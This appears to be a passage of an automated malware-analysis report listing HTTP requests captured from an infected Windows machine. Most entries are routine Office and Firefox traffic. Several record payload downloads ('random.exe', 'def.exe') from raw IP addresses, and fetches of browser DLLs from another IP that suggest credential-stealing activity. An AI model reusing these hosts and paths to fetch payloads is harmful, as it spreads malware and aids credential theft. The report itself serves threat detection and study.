Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Sun, 24 Nov 2024 07:34:48 GMTIf-None-Match: "6742d718-425e00"
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
